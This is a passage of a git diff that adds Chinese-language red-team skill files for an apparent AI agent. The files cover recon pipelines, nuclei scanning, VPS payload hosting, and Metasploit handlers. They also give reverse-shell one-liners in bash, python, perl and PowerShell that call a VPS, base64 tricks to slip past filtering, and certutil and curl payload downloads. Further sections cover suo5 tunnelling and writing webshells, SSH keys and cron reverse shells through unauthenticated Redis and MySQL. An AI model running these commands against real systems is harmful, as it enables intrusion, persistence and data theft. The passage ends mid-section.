`evidence`(命中回显/响应特征/matched-at)、`confidence=confirmed`(nuclei 命中即为已确认存在于响应层面)、 + `gained`(通过它能拿到什么)、`agent=vuln-scan`。 +2. **每条确认漏洞配一条 `redteam_http_evidence_add`**:请求行 + Host + 关键请求头 + 响应摘要(模板的 `curl-command` 字段可直接用)。 +3. 每个关键动作 `redteam_chain_add`:`stage_code=recon` 或 `internet`, + `tool` 写**实际命令原文**(例如 `nuclei -l runs/alive-urls.txt -severity critical,high -rl 50 -jsonl -o runs/nuclei-0918.jsonl`), + `result` 写回显摘要(例如 `命中 3 条:CVE-2023-xxxx(critical)…`)。 +4. 测完该资产立刻 `redteam_asset_test` 回写:`status`(testing/tested/no_surface/blocked)、`test`(追加式结论)、`surface`(还剩什么可测)。 +5. **只记能得分的面**:与得分无关的信息泄露、版本暴露、CORS/CSRF、SSL 与响应头类问题**最多记一行排除结论**,不深挖、不重复跑。 + +## 常见坑 + +| 现象 | 原因 | 处理 | +| --- | --- | --- | +| 一条不命中 | 目标不是 HTTP,或模板被 ignore | 加 `-tl` 看实际跑了哪些模板;确认协议 `-t http/` vs `network/` | +| 大量 `could not resolve` | URL 清单里有死链 | 先用 `pd-httpx` 过滤存活:`pd-httpx -l all.txt -o alive-urls.txt -silent` | +| 命中一堆 low/info | severity 没限 | 演练加 `-severity critical,high,medium` | +| 目标被打挂 | 并发过高 / 跑了 dos 模板 | 降 `-rl`/`-c`;确认 ignore 文件没被动过 | +| 内网目标打不到 | 没走隧道 | 加 `-proxy socks5://127.0.0.1:`(技能 `suo5-tunnel`) | diff --git a/skills/redteam/passive-recon.md b/skills/redteam/passive-recon.md new file mode 100644 index 0000000..4707094 --- /dev/null +++ b/skills/redteam/passive-recon.md @@ -0,0 +1,21 @@ +--- +name: passive-recon +description: 被动信息收集:不接触目标主机,仅使用公开数据源 +whenToUse: 需要在不暴露自身的情况下收集目标资产情报时 +role: recon +enabled: true +--- + + + +## 数据源 +- 证书透明日志(crt.sh):`curl -s "https://crt.sh/?q=%25.&output=json" | jq -r '.[].name_value' | sort -u` +- DNS 记录:`dig +short A/AAAA/MX/TXT/NS` +- whois:注册人、网段、ASN +- 搜索引擎与代码托管平台:泄露的子域、密钥、内部地址 +- 公开端口测绘数据(Shodan/Censys/FOFA 等,需授权 API) + +## 落库要求 +每条发现调用 redteam_asset_upsert,provenance 固定为 `passive`,tool 记录具体数据源。 + + diff --git a/skills/redteam/recon-pipeline.md b/skills/redteam/recon-pipeline.md new file mode 100644 index 0000000..5dca062 --- /dev/null +++ b/skills/redteam/recon-pipeline.md @@ -0,0 +1,111 @@ +--- +name: recon-pipeline +description: ProjectDiscovery 信息收集流水线:subfinder→dnsx→naabu→httpx→katana 一键铺开域名资产面 +whenToUse: 信息收集阶段拿到域名/单位名后,系统化铺开子域→解析→端口→存活→页面与接口 +role: recon +enabled: true +--- + +# 外部信息收集流水线(ProjectDiscovery) + +把"一个域名"变成"一份带标题、技术栈、端口的存活资产清单",是信息收集阶段的标准动作。 +四个工具**有固定顺序**:先枚举子域 → 再解析 → 再探端口 → 再判存活 → 最后抓页面与接口。 + +## 本机工具 + +| 工具 | 路径 | 版本 | 作用 | +| --- | --- | --- | --- | +| subfinder | `$DSH_HOME/redteam/toolkit/subfinder/subfinder` | v2.16.0 | 被动子域枚举(多源聚合) | +| dnsx | `$DSH_HOME/redteam/toolkit/dnsx/dnsx` | v1.3.1 | 批量解析、DNS 爆破、泛解析过滤 | +| naabu | `$DSH_HOME/redteam/toolkit/naabu/naabu` | v2.6.1 | 高速端口扫描(SYN 需 root,否则 `-scan-type c`) | +| httpx | `$DSH_HOME/redteam/toolkit/httpx/httpx`(包装器 `~/.local/bin/pd-httpx`) | v1.12.0 | HTTP 存活/标题/技术栈/状态码 | +| katana | ❌ 未安装(如需抓取用技能 `browser-automation`) | — | 爬虫抓页面与接口 | +| ksubdomain | `$DSH_HOME/redteam/toolkit/ksubdomain/ksubdomain` | v0.7 | 无状态子域爆破(比 dnsx 爆破快) | +| OneForAll | `$DSH_HOME/redteam/toolkit/oneforall/OneForAll-0.4.5/`(源码,需 `.venv`) | v0.4.5 | 子域收集全家桶(字典大,慢但全) | + +> ⚠️ **`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是 ProjectDiscovery 的**——必须用 `pd-httpx` 或绝对路径。 + +## 标准流水线 + +```bash +mkdir -p runs +TK=$DSH_HOME/redteam/toolkit +D=example.com + +# ① 子域枚举(被动,多源) +$TK/subfinder/subfinder -d $D -all -silent -o runs/subfinder-$D.txt +# 补充:无状态爆破(有字典时) +# $TK/ksubdomain/ksubdomain -d $D -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt + +# ② 泛解析过滤 + 解析存活(dnsx 会剔除泛解析噪声,这一步很关键) +cat runs/subfinder-$D.txt | $TK/dnsx/dnsx -silent -a -resp -o runs/dnsx-$D.txt +awk '{print $1}' runs/dnsx-$D.txt | sort -u > runs/alive-domains-$D.txt + +# ③ 端口扫描(先 top100 快速过一遍,再对存活主机扫全端口) +$TK/naabu/naabu -l runs/alive-domains-$D.txt -top-ports 100 -silent -o runs/naabu-$D.txt +# 全端口(慢,确认在范围内再做):-p - -rate 1000 + +# ④ HTTP 存活与指纹(标题/状态码/技术栈/服务器) +$TK/httpx/httpx -l runs/alive-domains-$D.txt -ports 80,443,8080,8443,8000,8888,9000 \ + -title -status-code -tech-detect -web-server -follow-redirects -silent \ + -json -o runs/httpx-$D.jsonl + +# ⑤ 整理成资产清单(URL 清单给目录爆破/漏洞扫描用) +python3 - <<'PY' +import json +out=set() +for line in open('runs/httpx-'+'$D'+'.jsonl'): + try: j=json.loads(line) + except: continue + if j.get('url'): out.add(j['url']) +open('runs/alive-urls.txt','w').write('\n'.join(sorted(out))) +print('存活 URL:', len(out)) +PY +``` + +## 单条命令速查(不想跑全流程时) + +```bash +# 只要子域 +$TK/subfinder/subfinder -d example.com -all -silent + +# 只要存活 URL(已有域名清单) +pd-httpx -l domains.txt -silent -o alive.txt + +# 只要端口(单 IP,全端口) +nmap -sS -p- --min-rate 1000 -T4 1.2.3.4 -oX runs/nmap-1.2.3.4.xml # 技能 active-scan +$TK/naabu/naabu -host 1.2.3.4 -p - -rate 1000 -silent +``` + +## 与其它技能的分工 + +| 场景 | 用哪个 | +| --- | --- | +| 单位名/域名 → 互联网资产面(含未备案、同主体) | **`fofa-recon`**(测绘,找得最全) | +| 域名 → 子域 → 存活 → 指纹 | **本技能**(流水线,标准化) | +| 不接触目标(纯被动) | `passive-recon`(crt.sh/dig/whois) | +| 内网大网段测绘 | `gogo-intranet`(**不要用本技能打内网**) | +| SP​A/JS 渲染页面、接口清单 | `browser-automation` / `kimi-webbridge` | +| 存活主机端口/服务版本 | `active-scan`(nmap/masscan) | + +**推荐顺序**:`fofa-recon` 铺面(拿单位资产全景)→ 本技能对每个域名做流水线(拿存活与指纹)→ `active-scan` 对重点 IP 定版本。 + +## 纪律 + +1. **只测授权范围内目标**:naabu 全端口、ksubdomain 爆破都属于**主动**行为,确认在范围内再做。 +2. **限速**:`naabu -rate 1000` 起步;`subfinder` 用被动源不加 `-all` 时更安静(配额消耗也少)。 +3. **泛解析**:`dnsx` 会过滤;如果结果里出现大量同 IP 的随机子域,说明目标有泛解析,改用 `-wd` 或换爆破字典。 +4. **API key(可选增强)**:`subfinder` 配置 `~/.config/subfinder/provider-config.yaml` 可接 + Shodan/Censys/VirusTotal 等源(**需要用户提供 key**,见技能 `redteam-setup`);没 key 也能用免费源。 + +## 输出与落库(强制) + +1. **逐条 `redteam_asset_add`**:`target`(域名/IP)、`names`(域名)、`ports`(带 `url=host`、`title`、`product=server`)、 + `provenance=passive`(subfinder/dnsx 阶段)或 `active`(naabu/httpx 主动探测)、`tool`(具体工具名)。 +2. **按 /24 自动建 C 段**(`redteam_asset_add` 已自动处理)→ 用 `redteam_asset_link` 建立 + `resolves`(域名→IP)、`contains`(C 段→IP)关系,形成图谱(技能 `asset-correlation`)。 +3. 每个阶段 `redteam_chain_add`:`stage_code=recon`,`tool` 写实际命令原文,`result` 写数量摘要 + (如 `subfinder 命中 42 个子域 → dnsx 存活 31 → naabu 开放 87 端口 → httpx 存活 19 个站点`)。 +4. **重点标注边缘资产**:测试/预发环境(test/dev/uat/pre/staging)、老旧系统、非标准端口、 + 非备案主体但同 C 段/IP 的站点——写进 `note`,这些是资产梳理阶段的高优先级目标。 +5. 结论给指挥者时**给数字**:子域数 / 存活 IP 数 / 开放端口数 / 存活站点数 / 其中高优先级几条。 diff --git a/skills/redteam/redteam-setup.md b/skills/redteam/redteam-setup.md new file mode 100644 index 0000000..35919cf --- /dev/null +++ b/skills/redteam/redteam-setup.md @@ -0,0 +1,99 @@ +--- +name: redteam-setup +description: 首次使用引导:引导提供 FOFA_KEY 与 VPS 登录方式、验证通道可用、给出降级口径(工具链由工具箱附件按需获取) +whenToUse: 用户第一次使用红队模式时;或 redteam_preflight 报出 onboarding.incomplete / 有技能 broken 时;或用户说"环境没配好""工具装一下" +role: plan +enabled: true +--- + +# 首次使用引导(把环境一次配齐) + +**触发条件**(满足任一即执行本技能,不要跳过): +- `redteam_preflight` 返回里 `onboarding.complete=false`; +- preflight 有 `broken` 技能且原因是"缺环境变量"或"VPS 还是占位符"; +- 用户第一次进红队模式、或明确说"环境/工具没配好"。 + +**核心原则**:**一次性把话说完,一次要齐**。不要挤牙膏式反复找用户要东西——那是这套引导存在的唯一理由。 + +## 一、先确认你有没有"工具箱"(npm 版默认没有) + +npm 版 `dsh-redteam-mode` **不随包分发工具安装脚本与 9 份攻击链技能**(隧道 / 凭据 / +WebShell / 反弹 Shell / 横向移动 / 未授权利用)。原因:npm 的发布期自动审查会把 +"包在安装后自动下载渗透二进制"判定为恶意行为特征,整包会被 Blocked。 + +- **有** `$DSH_HOME/redteam/setup.sh`(自行取过工具箱、或非 npm 安装)→ 按下面第一、二节走; +- **没有**(`redteam_preflight` 返回里 `onboarding.setup_script.exists=false`)→ 先去项目 + GitHub Release 下载 `dsh-redteam-mode-<版本>-toolkit.tar.gz`,解压后按其中 README + **由用户自己执行**,再到第三节手动配 `FOFA_KEY` 与 VPS; +- **都不要**也行:只用本包自带的 14 个侦察/检测向技能(`fofa-recon` / `active-scan` / + `nuclei-scan` / `web-fingerprint` / `dir-bruteforce` 等)也能开工,只是拿不到需要落地的成果。 + +> **红线**:本插件**不替用户下载或安装任何安全工具**。需要什么,说清获取位置,由用户自己取、自己执行。 + +## 二、要用户提供什么(一次列清,说清"为什么"和"给到哪") + +| 要什么 | 为什么必须 | 给到哪 | 没有会怎样 | +| --- | --- | --- | --- | +| **FOFA_KEY** | 资产测绘(`fofa-recon`)靠它铺开单位互联网资产面;没有就只能靠 crt.sh + 子域枚举,**边缘资产与未备案资产会大量漏掉** | 环境变量 `FOFA_KEY`,或写进 `$DSH_HOME/.env`(脚本会代写) | 测绘能力降级:找不全资产 → 后面四个阶段都受影响 | +| **VPS 登录方式**(`user@ip` + 私钥路径) | 反弹 Shell 必须落到**公网可控主机**上;载荷投递、隧道中转也依赖它 | `REDTEAM_VPS_HOST`(`用户@主机`)/ `REDTEAM_VPS_KEY`(私钥路径,默认 `$DSH_HOME/redteam/toolkit/vps/id_rsa`) | 拿不到服务器权限、投递不了载荷、进不了内网 | +| (可选)测绘平台 key | Quake / Hunter / ZoomEye 与 FOFA 结果差异大,交叉能多找出资产 | 环境变量,按需 | 少一路交叉验证 | +| (可选)允许 apt 安装 | 补系统工具 | 用户自己执行 `sudo apt install …` | 相关技能降级 | + +**话术要求**:列完后**等用户补齐**。不要用"我先用降级方案开工"糊过去——除非用户明确说"就按现有条件打"。 + +**注意**:用户的 key **不要写进仓库、不要贴进报告、不要在 `redteam_chain_add` 的 `tool` 字段里出现**。 +写进 `$DSH_HOME/.env`(脚本已 `chmod 600`)即可。 + +### FOFA_KEY 怎么拿(要能指导用户) +1. 登录 → 右上角头像 → **个人中心 → API Key**; +2. 个人版限额:10,000 次查询/月、1 秒 1 次并发(**脚本与技能都按 1 秒 1 次限速,不要调高**,超了会触发 45012 封禁); +3. 拿到后可以自测:`curl -s "https://fofa.info/api/v1/info/my?key="` —— 返回 `"error":false` 即有效。 + +### VPS 怎么准备(要能指导用户) +- 一台**公网可达**的 Linux VPS(1 核 1G 够用),安全组放行:`22`(SSH)、`9000-9999`(反弹 Shell 监听段)、`9100`(载荷分发); +- 生成/放置 SSH 私钥到 `$DSH_HOME/redteam/toolkit/vps/id_rsa`,权限必须 `chmod 600`; +- 确认连通:`ssh -i <私钥> @ 'echo ok'`; +- **载荷分发服务**:VPS 上 `~/payload` 目录 + `python3 -m http.server 9100`(tmux 常驻), + 目标机可 `curl http://:9100/fscan` 直接拉工具。 + +## 三、配置完的验证(必须做完才算引导成功) + +逐项实测,**不要只看"文件存在"**: + +```bash +# 1) FOFA key 有效 +curl -s "https://fofa.info/api/v1/info/my?key=$FOFA_KEY" | grep -o '"error":[a-z]*' + +# 2) VPS 可达(载荷服务是否在跑由工具箱的体检脚本负责) +ssh -i $DSH_HOME/redteam/toolkit/vps/id_rsa -o BatchMode=yes @ 'echo ok' + +# 3) 技能注册表可见 +# 用 redteam_preflight 复核,看 available 列表里实际有哪些技能 +``` + +> 工具二进制与 nuclei 模板库的体检由工具箱里的 `redteam-setup.sh --check` 负责 +> (npm 版不含该脚本,见第一节)。 +## 四、最后一步:写完成标记并复核 + +配置补齐后,写完成标记(有工具箱脚本时脚本 `--yes` 会自动写;没有就手动写): + +```bash +mkdir -p "$DSH_HOME/redteam" && date -Is > "$DSH_HOME/redteam/.setup-complete" +``` + +然后**再跑一次 `redteam_preflight`**,确认:`onboarding.complete=true`、`broken` 为空或只剩用户明确接受降级的项。 +把最终结论按"能用什么 / 缺什么 / 缺的影响是什么"三条报给用户。 + +**改了 `$DSH_HOME/.env` 后必须重启 dsh web**,否则当前进程读不到新的环境变量—— +这一步要明确告诉用户(智能体不能替他重启)。 + +## 五、用户就是不给某些资源时(降级口径) + +| 缺什么 | 降级方案 | 必须向用户说明的限制 | +| --- | --- | --- | +| FOFA_KEY | crt.sh 证书透明 + `passive-recon` + `recon-pipeline`(subfinder/ksubdomain/dnsx)+ 搜索引擎与备案信息 | **资产收集不完整**,未备案/边缘资产会漏;得分上限受影响 | +| VPS | 只做不需要落地的成果(账号权限、数据、未授权访问、WebShell 交付) | **拿不到服务器权限、进不了内网**,`boundary`/`internal`/`central-system` 类得分点基本放弃 | +| 系统工具(nuclei 等) | 用工具箱里的替代品(httpx/subfinder 仍在) | 漏洞发现能力大幅下降,Nday 检测基本瘫痪 | +| 全部都没有 | 只做纯被动信息收集与资产梳理 | 明确告诉用户"这次只能做到信息收集阶段" | + +**降级决定要写进汇报**:用户需要知道这次是在什么条件下打的。 diff --git a/skills/redteam/shell-handler.md b/skills/redteam/shell-handler.md new file mode 100644 index 0000000..2a95c9c --- /dev/null +++ b/skills/redteam/shell-handler.md @@ -0,0 +1,146 @@ +--- +name: shell-handler +description: 反弹 Shell 与载荷投递:VPS 上起 MSF/nc/socat 监听接收 shell,或从目标主动拉取载荷落地 +whenToUse: 需要 RCE/命令执行回连、投递后续载荷、把一次性命令执行变成可交互会话时 +role: exploit +enabled: true +--- + +# 反弹 Shell 与载荷投递(拿到回连会话) + +> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置, +> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次: +> ```bash +> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a +> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST" +> ``` +> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。 + +**命令执行 ≠ 会话**。一次性的 `?cmd=whoami` 只能证明有洞,不能持续操作。本技能负责把"能执行命令" +变成**稳定、可交互、可复用**的回连会话,并投递后续载荷(马、隧道、扫描器)。 + +## 本机基础设施 + +| 项 | 值 | +| --- | --- | +| VPS | `$REDTEAM_VPS_HOST`(SSH 端口 22,私钥 `$DSH_HOME/redteam/toolkit/vps/id_rsa`) | +| 载荷分发 | `http://$REDTEAM_VPS_HOST:9100/`(fscan/gogo/冰蝎马/哥斯拉马已同步) | +| 监听端口段 | `9000-9999` | +| 会话管理 | `tmux`(监听必须跑在 tmux 里,否则断开即丢) | +| 本机工具 | `nc`、`socat`、`msfconsole` 6.5.3(`exploit/multi/handler`、`exploit/multi/script/web_delivery` 已验证存在) | + +配套技能:`vps-reverse-shell`(VPS 登录与监听的具体操作)、`webshell-toolkit`(落地冰蝎/哥斯拉马)。 + +## 一、选型:什么时候用哪个 + +| 场景 | 用法 | +| --- | --- | +| **临时验证**(只想跑一条命令看回显) | `nc -lvnp ` + 目标侧 bash/python 反弹,够用就走 | +| **要长期操作 / 传文件 / 开隧道**(**主力**) | **MSF `multi/handler`**(自动重连、可升级 meterpreter、能开 socks) | +| **目标只能出 HTTP(S)** | `web_delivery`(MSF 生成一行命令,目标主动拉 payload) | +| **Windows 目标、要稳** | MSF handler + `shell_to_meterpreter` 升级 | +| **需要把内网流量代理回来** | 拿到 shell 后**不是**用 shell 代理,而是落地 WebShell → `suo5-tunnel`(见技能) | + +## 二、MSF handler(推荐主力) + +```bash +# 1) 在 VPS 的 tmux 里起监听(本机/VPS 都行,看回连方向) +tmux new -s handler +msfconsole -q + +msf6 > use exploit/multi/handler +msf6 > set payload linux/x64/meterpreter/reverse_tcp # Windows:windows/x64/meterpreter/reverse_tcp +msf6 > set LHOST $REDTEAM_VPS_HOST +msf6 > set LPORT 9001 +msf6 > set ExitOnSession false # 关键:会话断了不退出,继续等重连 +msf6 > exploit -j # 后台监听 +``` + +**起监听前先确认端口没被占**:`ss -lntp | grep 9001`;VPS 安全组要放行该端口。 + +一次性投递 + 收会话的完整链路示例: +```bash +# 目标侧(假设有一个命令执行点) +bash -c 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1' +# 无 bash 时用别的(见下表) +``` + +## 三、各语言反弹一句话(按目标环境选) + +```bash +# Linux - bash +bash -i >& /dev/tcp// 0>&1 +# Linux - 无 bash(sh + nc) +rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc > /tmp/f +# Linux - python3 +python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("",));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])' +# Linux - perl +perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' +# Windows - powershell(注意转义与执行策略) +powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('',);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}" +# Windows - certutil 下载载荷后执行 +certutil -urlcache -split -f http://$REDTEAM_VPS_HOST:9100/fscan.exe C:\Windows\Temp\f.exe && C:\Windows\Temp\f.exe -h 10.0.0.0/24 +# Linux - curl/wget 下载载荷 +curl -s http://$REDTEAM_VPS_HOST:9100/gogo -o /tmp/gogo && chmod +x /tmp/gogo && /tmp/gogo -i 10.0.0.0/24 -m ss +``` + +**编码绕过**:命令里有空格/引号被拦时,base64 编码后解: +```bash +# 生成(本机) +echo -n 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1' | base64 -w0 +# 目标执行 +echo | base64 -d | bash +``` + +## 四、MSF web_delivery(只能出 HTTP 时) + +```bash +msf6 > use exploit/multi/script/web_delivery +msf6 > set target 7 # 7 = Linux Python(先 show targets 看列表) +msf6 > set payload python/meterpreter/reverse_tcp +msf6 > set LHOST $REDTEAM_VPS_HOST +msf6 > set LPORT 9002 +msf6 > exploit -j +# MSF 会输出一行命令(形如 python -c "import urllib.request;..."), +# 把它投到目标的命令执行点 → 目标主动拉 payload → 会话建立 +``` + +## 五、升级与维持 + +```bash +# shell 升级为 meterpreter(能开 socks、传文件、提权) +msf6 > sessions -l +msf6 > sessions -u # 或者用 post/multi/manage/shell_to_meterpreter + +# 通过 meterpreter 开内网 socks 代理 +meterpreter > run autoroute -s 10.0.0.0/24 +meterpreter > background +msf6 > use auxiliary/server/socks_proxy +msf6 > set SRVPORT 1080 +msf6 > set VERSION 5 +msf6 > exploit -j +# 之后 proxychains 指向 127.0.0.1:1080 即可进内网 +``` +> ⚠️ 记分口径:**只有自己 VPS 上的代理不算隧道**。通过 meterpreter autoroute 打到的内网目标属于 +> `entry_kind=target-agent`(经目标已控进程转发),登记 `redteam_tunnel_add` 时必须说清目标侧那一端。 + +## 六、纪律(必须遵守) + +1. **监听必须跑在 tmux 里**:SSH 断线会杀掉监听,会话就丢了。`tmux new -s handler` / `tmux a -t handler`。 +2. **端口先探测占用**,VPS 安全组放行;一台机器同时别开太多监听(9000-9999 段内按序用)。 +3. **反弹 shell 是"目标主动外连"**:目标出网受限时先试 HTTP(S) 出网(80/443/8080), + 完全不出网就只能走 WebShell + 隧道(`suo5-tunnel`)。 +4. **不要在生产系统跑会重启服务的载荷**;提权/内核漏洞类操作先评估重启风险。 +5. **会话要登记**:拿到 shell 立刻 `redteam_session_check` 后面能用;隧道登记见 `redteam_tunnel_add`。 + +## 七、输出与落库(强制) + +1. **拿到回连会话立刻记分**:`redteam_score_hit`(`server-host` / `server-host`),`evidence` 写「资产|shell 类型与权限」(如 `10.0.0.5|root shell(uid=0)`)。 +2. **会话落库**:`redteam_access_add`(`method=reverse-shell`,写清 `target`、`user`、`privilege`、监听地址与端口)。 +3. **隧道落库**(若通过它进了内网):`redteam_tunnel_add`,`entry_kind` 必须说清目标侧那一端 + (`target-outbound`=目标反弹/目标跑 frp 客户端、`target-http`=经目标 WebShell 的 suo5、`target-agent`=经目标已控进程转发), + 然后 `redteam_session_check` 实测连通性。 +4. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(互联网侧拿权限)/ `boundary`(搭隧道)/ `internal`, + `tool` 写**实际命令原文**(含完整反弹命令或 MSF 配置),`result` 写回显摘要(如 `uid=0(root) gid=0(root)`)。 +5. **交付给用户能复用的入口**:优先落地**冰蝎马/哥斯拉马**(技能 `webshell-toolkit`)——用户能在控制台直连操作; + 临时反弹会话要说明"这是一次性会话,非交付入口"。 diff --git a/skills/redteam/suo5-tunnel.md b/skills/redteam/suo5-tunnel.md new file mode 100644 index 0000000..d02fb7d --- /dev/null +++ b/skills/redteam/suo5-tunnel.md @@ -0,0 +1,63 @@ +--- +name: suo5-tunnel +description: 用 suo5 通过 WebShell/HTTP 建立 SOCKS5 隧道,把内网流量代理出来(内网突破核心工具) +whenToUse: 已拿到一台机器(WebShell/RCE)需要进入内网扫描与横向时 +role: internal +enabled: true +--- + +# suo5 内网隧道 + +> **打进内网的标准通道只有这一条**:拿到 WebShell/RCE 后**必须**先用 suo5 建 socks5 隧道, +> 把隧道登记进库(`redteam_tunnel_add` kind=suo5)并用 `redteam_session_check` 验证真的通, +> 然后才谈内网测绘与横向。**没有隧道就不要手搓内网探测脚本**——手搓既慢又容易把入口打死。 +> 隧道入口的 WebShell 必须是冰蝎马/哥斯拉马(见技能 `webshell-toolkit`),否则用户无法复用。 + +二进制:`$DSH_HOME/redteam/toolkit/suo5/suo5-linux-amd64`(v2.2.0,静态 Go,无依赖) + +## 建立隧道 +```bash +SUO5=$DSH_HOME/redteam/toolkit/suo5/suo5-linux-amd64 + +# 1) 用 WebShell 作为隧道端点(HTTP 型) +$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:1080 -m socks5 + +# 2) 需要认证时 +$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:1080 --auth user:pass + +# 3) 只走 HTTP 代理(部分工具只支持 http proxy) +$SUO5 -t "https://target.example.com/upload/x.jsp" -l 127.0.0.1:8081 -m http +``` +参数速查:`-t` 目标 shell URL、`-l` 本地监听、`-m socks5|http`、`--auth user:pass`、`-r` 重连间隔、`--debug` 看流量。 + +## 通过隧道做内网操作 +```bash +# curl 走 socks5 +curl -s --socks5 127.0.0.1:1080 http://10.0.0.5:8080/ -I + +# nmap 必须用 -sT(全连接)+ proxychains,或直接 --proxies(新版) +proxychains4 -q nmap -sT -Pn -p 22,80,445,3389,3306,6379,8080 10.0.0.0/24 -oN runs/internal-nmap.txt + +# 数据库 / 中间件 +proxychains4 -q redis-cli -h 10.0.0.6 -p 6379 info +proxychains4 -q mysql -h 10.0.0.7 -u root -p --connect-timeout=5 + +# 浏览器/接口测试走隧道 +curl -s --socks5 127.0.0.1:1080 "http://10.0.0.8:8080/api/user/1" -H "Cookie: JSESSIONID=..." +``` + +## 内网扫描节奏(避免告警) +- 先 `/24` 存活探测(`nmap -sn` 经隧道或 ICMP),再对存活主机做常见端口。 +- 速率降到 `-T2 --max-rate 50`,避免 IDS 触发。 +- 新发现的资产全部 `redteam_asset_add`(会自动按 /24 建 C 段),并标 `provenance="active"`、`tool="suo5+nmap"`。 + +## 落库 +- **建好立刻登记(强制)**:`redteam_tunnel_add`(`kind=suo5`、`listen=127.0.0.1:1080`、`entry=`、`reach=可达网段`、`command=完整启动命令`),`webshell_id` 指向对应的 WebShell 记录;随后 `redteam_session_check` 实测连通性,确认 status=active 再往下走。 +- 隧道本身写 `redteam_chain_add`(stage=pivot,detail 写隧道端点与本地端口)。 +- 每个内网资产、每次成功登录、每条凭据分别落库(asset/access/credential)。 +- 隧道掉了用 `redteam_tunnel_update` 标 down;不要留一个"看起来在跑其实不通"的隧道给后续角色踩空。 + +## 注意事项 +- 隧道端点文件用完后按需清理,恢复目标原状。 +- 免费公网代理不适合承载隧道;suo5 走的是目标自身的 WebShell,不需要额外代理。 +- 只在授权范围内使用。 diff --git a/skills/redteam/unauth-exploit.md b/skills/redteam/unauth-exploit.md new file mode 100644 index 0000000..8254f94 --- /dev/null +++ b/skills/redteam/unauth-exploit.md @@ -0,0 +1,151 @@ +--- +name: unauth-exploit +description: 未授权访问与信息泄露利用链:Redis/MySQL/MSSQL/ES/Docker/MongoDB 等暴露服务直取数据或写马 +whenToUse: fscan/nmap 发现暴露的数据库与中间件端口(6379/3306/1433/9200/27017/2375),或 Web 侧发现未授权接口 +role: exploit +enabled: true +--- + +# 未授权访问利用(暴露服务的直取与写马) + +公网上暴露的 Redis/MySQL/ES/Docker 是**性价比最高的得分点**:不用漏洞、不用爆破, +连上去就是数据权限(`db-credential`)甚至服务器权限(写文件/写计划任务 → `server-host`)。 +内网里这些服务的命中率更高(技能 `fscan-intranet` 会直接把未授权项报出来)。 + +## 判定顺序(先轻后重) + +1. **只读探测**(确认未授权,不改变任何状态):`INFO`/`PING`/`SELECT`/列库列表; +2. **取数据**(`db-credential` 得分):读库、读表、导出敏感数据; +3. **写权限利用**(`server-host`/`server-host` 得分):写文件、写计划任务、写 SSH key、主从复制 RCE; +4. **每一步都必须留证据**(原始命令 + 回显)。 + +## 一、Redis(6379)——最高频 + +```bash +# 1) 未授权判定(不写任何东西) +redis-cli -h -p 6379 INFO server # 返回 redis_version 即未授权 +redis-cli -h -p 6379 CONFIG GET dir +redis-cli -h -p 6379 KEYS '*' | head -50 + +# 2) 取数据(db-access) +redis-cli -h -p 6379 --scan --pattern '*' > runs/redis-keys.txt +redis-cli -h -p 6379 GET +redis-cli -h -p 6379 DUMP > runs/redis-dump-.bin + +# 3) 写文件 → 拿服务器权限(需 CONFIG SET 可用) +# a. 写 WebShell(知道 web 根目录时最直接) +redis-cli -h -p 6379 CONFIG SET dir /var/www/html +redis-cli -h -p 6379 CONFIG SET dbfilename shell.php +redis-cli -h -p 6379 SET x '' +redis-cli -h -p 6379 SAVE +# b. 写 SSH 公钥(目标有 root 且允许密钥登录) +redis-cli -h -p 6379 CONFIG SET dir /root/.ssh +redis-cli -h -p 6379 CONFIG SET dbfilename authorized_keys +redis-cli -h -p 6379 SET x '<你的公钥>' +redis-cli -h -p 6379 SAVE +# c. 写计划任务(反弹 shell) +redis-cli -h -p 6379 CONFIG SET dir /var/spool/cron +redis-cli -h -p 6379 CONFIG SET dbfilename root +redis-cli -h -p 6379 SET x '\n\n*/1 * * * * bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1\n\n' +redis-cli -h -p 6379 SAVE + +# 4) 主从复制 RCE(Redis 4.x/5.x,模块加载) +# 用现成工具(redis-rogue-server / redis-ssrf),先 redteam_poc_search 查知识库有无现成脚本 +``` + +> **落地成可交付入口**:写进去的必须是**冰蝎马/哥斯拉马**(技能 `webshell-toolkit`), +> 一句话马用户连不上、不算交付;写完立刻用客户端实测连接。 + +## 二、MySQL / MariaDB(3306) + +```bash +# 1) 未授权或弱口令(先试空口令/root 空口令,再用 credential-attack 爆破) +mysql -h -u root -p'' -e "select version();" +mysql -h -u root -p'root' -e "show databases;" + +# 2) 取数据(db-access,注意"大量敏感信息"门槛是 ≥100 万条) +mysql -h -u root -p'xxx' -e "show databases;" +mysql -h -u root -p'xxx' -D -e "show tables;" +mysqldump -h -u root -p'xxx' --databases > runs/mysql-.sql +wc -l runs/mysql-.sql + +# 3) 写文件 → getshell(需 FILE 权限 + secure_file_priv 为空) +mysql -h -u root -p'xxx' -e "select '' into outfile '/var/www/html/s.php';" 